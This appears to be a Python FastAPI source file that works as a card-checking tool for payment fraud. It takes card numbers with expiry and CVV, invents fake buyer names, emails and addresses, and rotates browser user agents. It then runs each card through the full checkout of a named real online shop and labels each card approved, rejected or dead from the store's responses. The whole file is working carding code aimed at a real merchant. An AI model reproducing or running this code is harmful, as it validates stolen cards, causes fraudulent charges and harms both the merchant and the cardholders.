File size: 13,906 Bytes
282bd30
c98993b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
282bd30
c98993b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
282bd30
 
 
 
c98993b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
282bd30
c98993b
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
from fastapi import FastAPI, HTTPException, Request
from pydantic import BaseModel
import requests
import random
import string
from bs4 import BeautifulSoup
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

# Enable CORS
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

class CardData(BaseModel):
    card: str

def generate_random_user_agent():
    user_agents = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0'
    ]
    return random.choice(user_agents)

def generate_random_email():
    providers = ['gmail.com', 'hotmail.com', 'yahoo.com', 'outlook.com']
    first_name = ''.join(random.choices(string.ascii_lowercase, k=5))
    last_name = ''.join(random.choices(string.ascii_lowercase, k=5))
    provider = random.choice(providers)
    return f"{first_name}.{last_name}@{provider}"

def generate_random_name():
    first_names = ['John', 'Jane', 'Michael', 'Emily', 'David', 'Sarah', 'Robert', 'Jennifer', 'William', 'Lisa']
    last_names = ['Smith', 'Johnson', 'Williams', 'Brown', 'Jones', 'Miller', 'Davis', 'Garcia', 'Rodriguez', 'Wilson']
    return random.choice(first_names), random.choice(last_names)

def generate_random_address():
    streets = ['Main St', 'Elm St', 'Oak St', 'Pine St', 'Maple St', 'Cedar St', 'Birch St', 'Spruce St', 'Willow St', 'Ash St']
    cities = ['New York', 'Los Angeles', 'Chicago', 'Houston', 'Phoenix', 'Philadelphia', 'San Antonio', 'San Diego', 'Dallas', 'San Jose']
    states = ['WA', 'CA', 'NY', 'TX', 'FL', 'IL', 'PA', 'OH', 'GA', 'NC']
    return {
        'street': f"{random.randint(100, 999)} {random.choice(streets)}",
        'city': random.choice(cities),
        'state': random.choice(states),
        'zip': f"{random.randint(10000, 99999)}",
        'phone': f"{random.randint(100, 999)}-{random.randint(100, 999)}-{random.randint(1000, 9999)}"
    }

@app.post("/v1/check")
async def check_card(card_data: CardData):
    try:
        cc, mes, ano, cvv = card_data.card.split('|')
    except ValueError:
        raise HTTPException(status_code=400, detail="Invalid card format. Expected format: cc|mm|yy|cvv")

    session = requests.Session()
    user_agent = generate_random_user_agent()
    email = generate_random_email()
    first_name, last_name = generate_random_name()
    address = generate_random_address()

    headers = {
        'User-Agent': user_agent,
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Language': 'es-ES,es;q=0.9',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': 'https://shop.kingnut.com',
        'Referer': 'https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx',
    }

    try:
        # Step 1: Get initial page
        response = session.get('https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', headers=headers)
        soup = BeautifulSoup(response.text, 'html.parser')
        viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
        viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']

        # Step 2: Add to cart
        data = {
            'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$BuyProductPanel|ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$AddToBasketButton',
            '__EVENTTARGET': '',
            '__EVENTARGUMENT': '',
            '__VIEWSTATE': viewstate,
            '__VIEWSTATEGENERATOR': viewstategenerator,
            '__VIEWSTATEENCRYPTED': '',
            'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
            'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$OurPrice$VS': 'YM9lQs4ZXe+144hEXt1LZxGhbSdorF50XSGyaTltBhynkcFMgr6rPIen6WbDwxj2',
            'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$Quantity': '1',
            'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl00$Thumbnail$ProductPrice$VS': '/qPrGI2MxnZ0OuZZF/+4iH+771CLv/7ypKh6vaTn7dc2IOZiN8/J39M5gLB7ny4',
            'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl01$Thumbnail$ProductPrice$VS': 'fGzB9Ll1QkfqewAYcVoiEPsU1uT8iDT4ALT1rwn0l3LFAv3vvUY26qj+cvTbxKzB',
            'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl02$Thumbnail$ProductPrice$VS': 'DDVMl97O2ycn0iMjMVXU2ohwPh214YdYKc/uf17FeR5n0ZkIZEAD3dH0uZT+zk6m',
            'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$Name': '',
            'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$FromEmail': '',
            'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$FriendEmail': '',
            'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '',
            '__ASYNCPOST': 'true',
            'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$AddToBasketButton': '+ Add to Cart'
        }
        response = session.post('https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', headers=headers, data=data)

        # Step 3: Proceed to checkout
        response = session.get('https://shop.kingnut.com/Basket.aspx', headers=headers)
        soup = BeautifulSoup(response.text, 'html.parser')
        viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
        viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']

        data = {
            'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$BasketPanel|ctl00$ctl00$NestedMaster$PageContent$CheckoutButton',
            '__EVENTTARGET': '',
            '__EVENTARGUMENT': '',
            '__LASTFOCUS': '',
            '__VIEWSTATE': viewstate,
            '__VIEWSTATEGENERATOR': viewstategenerator,
            '__VIEWSTATEENCRYPTED': '',
            'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1',
            'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
            'ctl00$ctl00$NestedMaster$PageContent$BasketGrid$ctl02$Quantity': '1',
            'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$Country': 'US',
            'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$Province': '',
            'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$PostalCode': '',
            'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '',
            '__ASYNCPOST': 'true',
            'ctl00$ctl00$NestedMaster$PageContent$CheckoutButton': 'Checkout >>'
        }
        response = session.post('https://shop.kingnut.com/Basket.aspx', headers=headers, data=data)

        # Step 4: Fill in billing address
        response = session.get('https://shop.kingnut.com/Checkout/EditBillAddress.aspx', headers=headers)
        soup = BeautifulSoup(response.text, 'html.parser')
        viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
        viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']

        data = {
            '__EVENTTARGET': '',
            '__EVENTARGUMENT': '',
            '__LASTFOCUS': '',
            '__VIEWSTATE': viewstate,
            '__VIEWSTATEGENERATOR': viewstategenerator,
            'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1',
            'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
            'ctl00$ctl00$NestedMaster$PageContent$UserName': email,
            'ctl00$ctl00$NestedMaster$PageContent$Password': '407d25146b14',
            'ctl00$ctl00$NestedMaster$PageContent$ConfirmPassword': '407d25146b14',
            'ctl00$ctl00$NestedMaster$PageContent$FirstName': first_name,
            'ctl00$ctl00$NestedMaster$PageContent$LastName': last_name,
            'ctl00$ctl00$NestedMaster$PageContent$Company': last_name,
            'ctl00$ctl00$NestedMaster$PageContent$Address1': address['street'],
            'ctl00$ctl00$NestedMaster$PageContent$Address2': '',
            'ctl00$ctl00$NestedMaster$PageContent$City': address['city'],
            'ctl00$ctl00$NestedMaster$PageContent$Country': 'US',
            'ctl00$ctl00$NestedMaster$PageContent$Province2': address['state'],
            'ctl00$ctl00$NestedMaster$PageContent$PostalCode': address['zip'],
            'ctl00$ctl00$NestedMaster$PageContent$Telephone': address['phone'],
            'ctl00$ctl00$NestedMaster$PageContent$Fax': '',
            'ctl00$ctl00$NestedMaster$PageContent$IsBusinessAddress': 'on',
            'ctl00$ctl00$NestedMaster$PageContent$ShipToOption': 'SHIP_TO_BILLING_ADDRESS',
            'ctl00$ctl00$NestedMaster$PageContent$ShippingContinueButton': 'Continue Checkout >>',
            'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$Country': 'US',
            'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$Province': '',
            'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$PostalCode': '',
            'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': ''
        }
        response = session.post('https://shop.kingnut.com/Checkout/EditBillAddress.aspx', headers=headers, data=data)

        # Step 5: Select shipping method
        soup = BeautifulSoup(response.text, 'html.parser')
        viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
        viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']

        data = {
            '__EVENTTARGET': '',
            '__EVENTARGUMENT': '',
            '__LASTFOCUS': '',
            '__VIEWSTATE': viewstate,
            '__VIEWSTATEGENERATOR': viewstategenerator,
            'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1',
            'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
            'ctl00$ctl00$NestedMaster$PageContent$ContinueButton': 'Continue >>',
            'txt_DefaultGiftMsg': '',
            'ctl00$ctl00$NestedMaster$PageContent$ShipmentRepeater$ctl00$ShipMethodsList': '9',
            'ctl00$ctl00$NestedMaster$PageContent$ShipmentRepeater$ctl00$ShipMessage': '',
            'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': email
        }
        response = session.post('https://shop.kingnut.com/Checkout/ShipMethod.aspx', headers=headers, data=data)

        # Step 6: Enter payment details
        soup = BeautifulSoup(response.text, 'html.parser')
        viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
        viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']

        card_type = {'4': '1', '5': '2', '6': '4', '3': '3'}.get(cc[0], '1')

        data = {
            'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$PaymentAjax|ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CreditCardButton',
            '__EVENTTARGET': '',
            '__EVENTARGUMENT': '',
            '__VIEWSTATE': viewstate,
            '__VIEWSTATEGENERATOR': viewstategenerator,
            'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1',
            'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
            'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CouponCode': '',
            'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardType': card_type,
            'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardName': f'{first_name} {last_name}',
            'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardNumber': cc,
            'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$ExpirationMonth': mes,
            'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$ExpirationYear': ano,
            'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$SecurityCode': cvv,
            'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': email,
            '__ASYNCPOST': 'true',
            'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CreditCardButton': 'Processing...'
        }
        response = session.post('https://shop.kingnut.com/Checkout/Payment.aspx', headers=headers, data=data)

        # Check the response
        if 'CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number.' in response.text:
            status = "APPROVED βœ…"
            response_text = "CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number."
        elif 'Incorrect credit card expiration date.' in response.text:
            status = "Rejected! πŸ”΄"
            response_text = "Card Declined πŸ”΄"
        elif 'Your order is confirmed' in response.text:
            status = "Approved!🟩"
            response_text = "Your order is confirmed(39$)🟩"
        else:
            status = "DECLINED #DEAD ❌"
            response_text = "Unknown error"

        return {
            'status': status,
            'response': response_text,
            'card': card_data.card
        }

    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)